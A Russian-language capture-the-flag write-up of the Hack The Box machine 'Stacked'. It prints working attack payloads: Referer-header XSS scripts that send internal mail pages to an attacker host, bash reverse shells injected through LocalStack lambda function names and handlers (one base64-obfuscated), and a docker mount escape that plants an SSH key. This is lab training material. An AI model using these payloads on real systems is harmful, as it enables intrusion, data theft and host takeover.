Всем привет! Сегодня предлагаю вместе со мной решить интересную машину на платформе Hack The Box. На пути мы столкнемся с необычной XSS, уязвимостью в названии функций, приводящей к удаленному выполнению кода и совершим самый настоящий побег из docker контейнера. Интересно? Тогда приуступим!

Разведка

Первым шагом выполним сканирование хоста с помощью утилиты nmap:

┌──(user㉿kali)-[~]
└─$ nmap -sV -sC -oA stacked_output -v -p- -T5 10.129.228.28
вывод nmap
вывод nmap

Открытыми оказались следующие порты:

  • 22 (OpenSSH 8.2p1 Ubuntu 4ubuntu0.3)

  • 80 (Apache httpd 2.4.41)

  • 2376 (безопасное управление Docker контейнерами поверх TLS/SSL)

Давайте проверим что находится на 80 порту, для этого подключимся по HTTP:

неизвестный хост
неизвестный хост

Не проблема! Добавляем запись о хосте в файл /etc/hosts и попробуем снова:

изменение файла /etc/hosts
изменение файла /etc/hosts

После этого нас встречает главная страница с обратным отчетом и полем ввода email:

stacked.htb
stacked.htb

При отправке введенного email никакого сетевого трафика не генерируется, а другого функционала на странице нет. Значит, пора приступать к перебору директорий.

Перебор директорий

Перебор директорий предлагаю выполнить с помощью утилиты gobuster и словарем common.txt, содержащим имена не только популярных каталогов, но и файлов:

┌──(user㉿kali)-[~]
└─$ gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt 

К сожалению, ничего интересного обнаружить не удалось:

результат перебора директорий stacked.htb
результат перебора директорий stacked.htb

Но опускать руки еще рано! Нам известен домен, а значит можно перебрать виртуальные хосты, расположенные на этом же сервере. Для этого будем использовать инструмент ffuf и словрь subdomains-top1million-5000.txt:

┌──(user㉿kali)-[~]
└─$ ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb"

При запуске утилита стала выводить все возможные слова из списка, так как длина у всех ответов была разной. Это говорит о том, что какой-то контент на странице ошибки генерируется динамически. Однако, количество слов у всех ответов было одно. Давайте сами проверим страницу ошибки, чтобы проверить нашу гипотезу, а затем повторно запустим команду, но уже с фильтром по количеству слов.

При просмотре ответа в BurpSuite видно, что сервер отражает имя запрашиваемого хоста в коде страницы с ошибкой, что и вызывало разный размер ответов:

исходный код страницы ошибки
исходный код страницы ошибки

Повторный запуск ffuf с фильтром по словам дал результаты! Найден новый виртуальный хост - portfolio:

┌──(user㉿kali)-[~]
└─$ ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18 
повторный поиск субдоменов
повторный поиск субдоменов

Изучение нового поддомена

Обновим файл /etc/hosts:

изменение файла /etc/hosts 2
изменение файла /etc/hosts 2

Теперь нас встречает совершенно другая страница:

portfolio.stacked.htb
portfolio.stacked.htb

На ней представлена информация о компании Stacked:

информация
информация

Здесь, в Stacked, мы занимаемся проектированием программного обеспечения, разработкой безопасных веб-приложений и используем Docker-контейнеры LocalStack для эмуляции сервисов AWS при локальном тестировании, а также для улучшений LocalStack. Не стесняйтесь скачать docker-compose.yml, чтобы поэкспериментировать самостоятельно.

Тут следует пояснить, что такое LocalSack:
LocalStack — это инструмент с открытым исходным кодом, который эмулирует облачные сервисы Amazon Web Services (AWS) на локальном компьютере, что может быть полезно, когда нет необходимости разворачивать облачную инфраструктуру в облаке.

В самом низу отображается год создания страницы, возьмем на заметку:

год создания страницы
год создания страницы

При клике на кнопку Free Download открывается docker-compose файл:

docker-compose.yml
docker-compose.yml


Здесь мы видим, что в контейнере проброшены следующие порты:

  • 443 - вероятнее всего HTTPS

  • 4566 - главный API LocalStack

  • 4571 - пока неизвестный сервис (предположу Elasticsearch)

  • 8080 - web ui

Скачаем этот файл себе:

┌──(user㉿kali)-[~]
└─$ wget http://portfolio.stacked.htb/files/docker-compose.yml

И соберем докер контейнер:

┌──(user㉿kali)-[~]
└─$ docker compose up

Но запускать пока не будем, изучим сайт поподробнее.

Эксплуатация XSS

Если пролистать страницу чуть ниже, то будет найден функционал отправки персональных данных. Если туда попробовать внедрить HTML теги, то получим интересное замечание:

xss detected!
xss detected!

Давайте перехватим отправляемый запрос в BurpSuite и попробуем по-разному кодировать передаваемые данные в URL, но, забегая в перед, даже двойное кодирование нам не поможет.

В перехваченном запросе видно, что браузер обращается к /process.php

перехваченный запрос
перехваченный запрос

Следует отметить, что proccess.php - общепринятое название в разработке. Оно говорит о том, что бэкэнд дальше будет обрабатывать данные, передаваемые клиентом. Значит, нужно внимательно посмотреть на другие места, которые сервер может потенциально подвергнуть обработке.

Подметим следующие заголовки:

  • User-Agent

  • Origin

  • Referer

Будем внедрять в каждый XSS payload и ждать запроса на свой сервер:

<script src="http://10.10.16.10/test.js"></script>

После внедрения полезной нагрузки в заголовок Referer, успешно сработала XSS:

┌──(user㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.28 - - [26/Mar/2026 13:10:04] code 404, message File not found
10.129.228.28 - - [26/Mar/2026 13:10:04] "GET /test.js%3E%3Cscript%3E%3C/h6%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C!--%20/.mailbox-read-info%20--%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class= HTTP/1.1" 404 -

Успех! Можно развивать атаку дальше.

Напишем пейлоад, нацеленный на кражу cookie того, кто просматривает отправленные нами данные, и поместим в запрашиваемый test.js следующий код:

let req1 = new XMLHttpRequest(); // создадим запрос
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false); // подготовим данные
req1.send(); // отправим его

Однако, cookie файлы перехватить не удалось. Вероятнее всего они защищены флагом HttpOnly, добавляемым в Set-Cookie.

Но надо извлечь хоть какую-нибудь пользу из этой атаки. Попробуем узнать с какого URI поступает запрос. Изменим payload:

let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/location=' + document.location, false); // изменим document.cookie на document.location
req1.send();

Успех! Нам удалось узнать адрес, с которого приходит запрос:

┌──(user㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.28 - - [26/Mar/2026 13:30:44] "GET /location=http://mail.stacked.htb/read-mail.php?id=2 HTTP/1.1" 404 -

Им оказался - mail.stacked.htb

В очередной раз изменим файл /etc/hosts

изменение файла /etc/hosts 3
изменение файла /etc/hosts 3

Но при попытке получить доступ к этому ресурсу, получаем редирект на stacked.htb, следовательно, можно сделать вывод, что mail.stacked.htb недоступен из внешней сети. Но это не беда! Мы можем управлять запросами того, кто просматривает наши письма, а значит можем от его лица получать содержимое любых страниц.

Провернем это следующим образом:

Напишем скрипт на JS, который будет инициировать запрос жертвы на mail.stacked.htb, кодировать ответ в base64 и отправлять на наш сервер закодированный ответ. Нам же останется только декодировать полученные данные и открыть html страницу в браузере.

Будем действаовать по такому алгоритму:

1) Внедрим следующие данные в заголовок Referer (название js файла может быть любым):

<script src="http://10.10.16.10/exploit.js"></script>

2) Напишем следующий скрипт:

let req1 = new XMLHttpRequest(); // создадим первый запрос
req1.onreadystatechange = function(){
    if (this.readyState == 4){ // если данные успешно отправлены и получен ответ
        data = btoa(req1.response); // шифруем ответ для удобства передачи
        let req2 = new XMLHttpRequest(); // создаем второй запрос
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false); // готовим данные для отправки
        req2.send() // отправляем второй запрос на наш сервер
    }
}
req1.open('GET', 'http://mail.stacked.htb', false); // готовим первый запрос
req1.send(); // отправим его

3) Запустим прослушиватель на 9001 порту:

┌──(user㉿kali)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...

4) Получим закодированную страницу:

connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 38890
GET /page=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZ...

5) Декодируем полученные данные и поместм содержимое в html файл:

┌──(user㉿kali)-[~]
└─$ echo -n "PCFET0NU...aHRtbD4K" | base64 -d > index.html

6) Откроем страницу в браузере:

┌──(user㉿kali)-[~]
└─$ chromium index.html

CSS стили и картинки не загрузятся (что вполне логично, т.к. они тоже находятся во внутренней сети и доступа к ним со внешней нет), однако просмотреть содержимое страницы и отметить интересные находки у нас получится:

mail.stacked.htb
mail.stacked.htb

Довольно интересная вкладка Inbox (входящие), в которой помимо нашего письма находится письмо от Jeremy Taint с темой, сообщающей о запуске S3 инстанса. Теперь нам нужно прочитать содержимое этого письма.

При просмотре кода страницы увидим, что ссылка с письмом ведет на read-mail.php?id=1

исходный код
исходный код

Следовательно, нужно узнать содержимое этой страницы, что теперь сделать довольно несложно. Нам надо просто изменить старый скрипт, дописав недостающую часть пути, и проделать тот же самый алгоритм действий, что и в прошлый раз.

Измененный скрипт:

let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){ 
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send() 
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false); //измененный путь
req1.send();

Запустим прослушиватель на 9001 порту и получим следующий запрос:

GET /page=PCFET0NUWVBFI...PC9odG1sPgo= HTTP/1.1
Host: 10.10.16.10:9001
...

Декодируем полученный текст и поместим содержимое в index2.html:

┌──(user㉿kali)-[~]
└─$ echo -n "PCFET0NUWVBFI...PC9odG1sPgo=" | base64 -d > index2.html

Откроем новую страницу в браузере:

┌──(user㉿kali)-[~]
└─$ chromium index2.html

Прочитаем письмо, в котором упоминается новый поддомен s3-testing.stacked.htb

письмо
письмо

Привет, Адам, я настроил S3-инстанс на s3-testing.stacked.hb, чтобы ты мог настроить IAM пользователей, роли и разрешения. Я инициализировал serverless-инстанс для твоей работы, но имей в виду, что пока ты можешь запускать только node-инстансы. Если что-то понадобится, дай знать. Спасибо.

Исходя из названия найденного поддомена s3-testing, можно предположить, что во внутренней сети в целях тестирования развернут такой же LocalStack, что и у нас, а значит можно попытаться проникнуть в него.

Обновим файл /etc/hosts и примемся изучать новый виртуальный хост:

изменение файла /etc/hosts 4
изменение файла /etc/hosts 4

Шелл пользователя localstack

При переходе по новому адресу становятся ясно, что это тестовое API для управления S3 (исходя из формата ответа - JSON), что подтверждает гипотезу о развернутом LoacalStack:

s3-testing.stacked.htb
s3-testing.stacked.htb

В результате поиска уязвимостей LocalStack в Google один из самых популярных результатов - CVE-2021-32090 как раз 2021 года, что и наше веб приложение. Можно потренироваться сначала на своем локальном контейнере, а затем, в случае успеха, проделать то же самое с основным.

Данная CVE описывает уязвимость, позволяющую внедрять исполняемые команды в параметр functionName у lambda функций. То есть, в теории, можно создать функцию с вредоносным кодом в названии, что приведет к его выполнению.

Но для начала давайте разберемся, что же такое лямбда функция? Лямбда функция - это функция, которая выполняется автоматически с наступлением какого-либо события, без взаимодействия пользователя с сервером.

Также, для успешного внедрения нам понадобится пример такой функции, её можно найти в Google, но, чтобы сэкономить Ваше время, воспользуемся следующей:

exports.handler = async (event, context) => {
    console.log('Event:', JSON.stringify(event, null, 2));
    let message = 'Hello from Lambda!';
    if (event.name) {
        message = `Hello, ${event.name}!`;
    }
    const response = {
        statusCode: 200,
        body: JSON.stringify(message),
    };
    return response;
};

Для тренировки нам понадобится ранее скаченный docker контейнер, запустим его:

┌──(user㉿kali)-[~]
└─$ docker start 7d298678dad0
7d298678dad0

А как мы будем её внедрять? Для этого нам понадобится клиент aws - awscli.

Установить на kali его можно с помощью:

┌──(user㉿kali)-[~]
└─$ sudo apt install awscli

Приступим к его конфигурации:

└─# aws configure
AWS Access Key ID [None]: something
AWS Secret Access Key [None]: something
Default region name [None]: us-east-1
Default output format [None]: 

Сожмем в zip ранее расмотренный пример лямбда функции (понадобится при создании):

┌──(user㉿kali)-[~]
└─$ zip index.zip <function_name>.js

Здесь можно подсмотреть пример создания такой функции, лишние параметры опустим, в итоге у нас получится следующее:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://127.0.0.1:4566 create-function \
--function-name 'b' \
--zip-file fileb://index.zip \
--role Something \
--handler index.handler \
--runtime nodejs10.x

{
    "FunctionName": "b",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:b",
    "Runtime": "nodejs10.x",
    "Role": "Something",
    "Handler": "index.handler",
    "CodeSize": 538,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2026-03-27T12:24:36.566+0000",
    "CodeSha256": "81NSc8EZtyR/ZxLrFgz1feV+ybSDw3WJrUXWjLr8MrU=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "50f63014-f28f-4c02-bb1d-91ff90938b54",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

Созданная функция отобразилась в графическом интерфейсе:

созданная функция
созданная функция

Её успешно удалось выполнить:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://localhost:4566 invoke --function-name b output 
{
    "StatusCode": 200,
    "LogResult": "",
    "ExecutedVersion": "$LATEST"
}

При просмотре файла с выводом возвращается сообщение об успехе, значит мы все сделали правильно:

┌──(user㉿kali)-[~]
└─$ cat output  
{"body":"\"Hello from Lambda!\"","statusCode":200}

Теперь, когда мы научились создавать такую функцию, можно проделать то же самое, но уже с уязвимым названием и сразу на целевом контейнере.

Для начала, попробуем пропинговать свою машину с уязвимого хоста:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ 
--function-name 'b; ping -c 4 10.10.16.10' \
--zip-file fileb://index.zip \
--role Something \
--handler index.handler \
--runtime nodejs10.x

Далее, надо заставить пользователя перейти на страницу с этими функциями, расположенную на 8080 порту. Сделать это можно с помощью отправки следующего запроса:

POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 77
Origin: http://portfolio.stacked.htb
Connection: keep-alive
Referer: <script>document.location="http://127.0.0.1:8080"</script>
Priority: u=0

fullname=Name&email=test%40test.com&tel=123456789012&subject=Subj&message=Msg

Запустим прослушиватель пакетов ICMP и через какое-то время получим 4 пакета, что говорит об успешном выполнении кода на уязвимом хосте:

┌──(user㉿kali)-[~]
└─$ tshark -i tun0 -f icmp
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
    1 0.000000000 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x147d, seq=1/256, ttl=62
    2 0.000116342  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x147d, seq=1/256, ttl=64 (request in 1)
    3 1.001029942 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x147d, seq=2/512, ttl=62
    4 1.001084411  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x147d, seq=2/512, ttl=64 (request in 3)
    5 2.001872801 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x147d, seq=3/768, ttl=62
    6 2.001918404  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x147d, seq=3/768, ttl=64 (request in 5)
    7 3.003128623 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x147d, seq=4/1024, ttl=62
    8 3.003175585  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x147d, seq=4/1024, ttl=64 (request in 7)

Теперь попробуем получить reverse shell с помощью следующей полезной нагрузки:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \
--function-name "b; bash -c 'bash -i >& /dev/tcp/10.10.16.10/4444 0>&1'" \
--zip-file fileb://index.zip \
--role Something \
--handler index.handler \
--runtime nodejs10.x

Снова отправим запрос, запустим netcat прослушиватель и через некоторое время получим долгожданный reverse shell:

┌──(user㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 42716
bash: cannot set terminal process group (20): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-5.0$ 

В домашнем каталоге пользователя localstack можно прочитать user.txt:

cat /home/localstack/user.txt 
2f61d21bd3a3e70eb2a68b7f80921542

Повышение привилегий

Нетрудно догадаться, что мы находимся в докере. Об этом свидетельствует наличие файла .dockerenv и ip адрес сетевого интерфейса - 172.17.0.2:

Bash-5.0$ ls -la /
total 84
drwxr-xr-x    1 root     root          4096 Mar 27 04:24 .
drwxr-xr-x    1 root     root          4096 Mar 27 04:24 ..
-rwxr-xr-x    1 root     root             0 Mar 27 04:24 .dockerenv

Однако, в этой системе есть пользователь root:

bash-5.0$ cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/ash

Чтобы совершить побег, нам надо повысить свои привилегии. Хорошей идеей будет начать отслеживать что происходит в системе прямо сейчас. Для этого нам понадобится инструмент pspy.

На своей машине в директории с pspy запустим веб сервер:

┌──(user㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

И скачаем утилиту на уязвимый хост:

bash-5.0$ wget http://10.10.16.10/pspy
Connecting to 10.10.16.10 (10.10.16.10:80)
wget: server returned error: HTTP/1.0 404 File not found
bash-5.0$ wget http://10.10.16.10/pspy64
Connecting to 10.10.16.10 (10.10.16.10:80)
saving to 'pspy64'
pspy64               100% |********************************| 3032k  0:00:00 ETA
'pspy64' saved

Дадим необходимые права и запустим:

запуск pspy
запуск pspy

Далее, проверим какие процессы запускаются в системе при создании и выполнении лямбда функций. Для этого создадим и выполним еще одну:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \
--function-name 'check_this' \
--zip-file fileb://index.zip \
--role Something \
--handler index.handler \
--runtime nodejs10.x
┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb invoke --function-name check_this output2 

pspy нам покажет интересные вещи:

  1. UID=0, что говорит о запуске процессов от имени пользователя root

  2. Увидим потенциальные возможности для внедрения команд OS в свойствах создаваемой лямбда функции. Будем выходить из контекста передаваемых параметров.

процессы
процессы

Создадим новую функцию и внедрим полезную нагрузку в потенциально уязвимые параметры, которая при срабатывании пропингует нашу машину, отправив 4 ICMP пакета:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \                        
--function-name 't' \         
--zip-file fileb://index.zip \
--role Something \
--handler 'ping -c 4 10.10.16.10' \
--runtime nodejs10.x

Если наша гипотеза верна, то мы получим 4 ICMP пакета на нашу машину:

Успех! Пакеты действительно доходят:

┌──(user㉿kali)-[~]
└─$ tshark -i tun0 -f icmp
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
    1 0.000000000 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x15a7, seq=1/256, ttl=62
    2 0.000101522  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x15a7, seq=1/256, ttl=64
    3 0.994408135 10.129.228.28 → 10.10.16.10  ICMP 84 Echo (ping) request  id=0x15a7, seq=2/512, ttl=62
    4 0.994456841  10.10.16.10 → 10.129.228.28 ICMP 84 Echo (ping) reply    id=0x15a7, seq=2/512, ttl=62

Теперь получим reverse shell. Но с этим возникнут трудности. Не каждая полезная нагрузка подойдет, а пару раз мы сможем получить шелл от своей же собственной машины. В итоге, сработает следующее:

┌──(user㉿kali)-[~]
└─$ aws lambda --endpoint=http://s3-testing.stacked.htb create-function \                    
--function-name 'shell2' \
--zip-file fileb://index.zip \
--role Something \
--handler '$(echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC83Nzc3IDA+JjEK | base64 -d | bash)' \
--runtime nodejs10.x

Успешно получим root шелл и приступим к его апгрейду:

┌──(user㉿kali)-[~]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.228.28] 41058
bash: cannot set terminal process group (5680): Not a tty
bash: no job control in this shell
bash-5.0# python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-5.0# export TERM=xterm
export TERM=xterm
bash-5.0# ^Z
zsh: suspended  nc -nlvp 5555

┌──(user㉿kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -nlvp 5555
       stty rows 54 columns 209
bash-5.0# 

Однако, директория /root окажется пустой.

Root шелл на Stacked

Пришло время совершать побег!

Давайте посмотрим список запущенных контейнеров и отметим используемые образы - 0601ea177088 и localstack/localstack-full:0.12.6:

bash-5.0# docker ps
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS                                                                                                  NAMES
b8a43159ae8f        0601ea177088                        "docker-entrypoint.sh"   5 minutes ago       Up 5 minutes        4566/tcp, 4571/tcp, 8080/tcp                                                                           busy_jackson
c381989b805d        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   6 hours ago         Up 6 hours          127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main

На gtfobins представлен способ получить шелл через создание нового docker контейнера с использованием имеющихся образов.

Остановим контейнер b8a43159ae8f (с образом 0601ea177088) и запустим новый с тем же image, но смонтируем корневую директорию хоста в /mnt контейнера:

bash-5.0# docker run -v /:/mnt --rm -it 0601ea177088 chroot /mnt sh

Подключимся в него:

bash-5.0# docker exec -it 2e9e5cdb940e sh

На этом этапе мы уже можем прочитать root.txt, но давайте получим полноценный доступ по SSH.

Для этого поместим в корневую директорию свой публичный ключ:

/mnt/root/.ssh # echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlaH68qljI083RvFAz8Ffe4Kp6xf2Jsb/MJKYJ0wE8S root@kali" > authorized_keys

Далее, подключимся к хосту со своим ключом, получив к нему полный доступ:

┌──(user㉿kali)-[~]
└─$ ssh -i id_ed25519.pub root@stacked.htb
подключение по SSH
подключение по SSH


Получим root.txt:

root.txt
root.txt

Что ж, вот и подошло к концу прохождение машины Stacked. Благодарю за прочтение райтапа и желаю успехов в дальнейших прохождениях!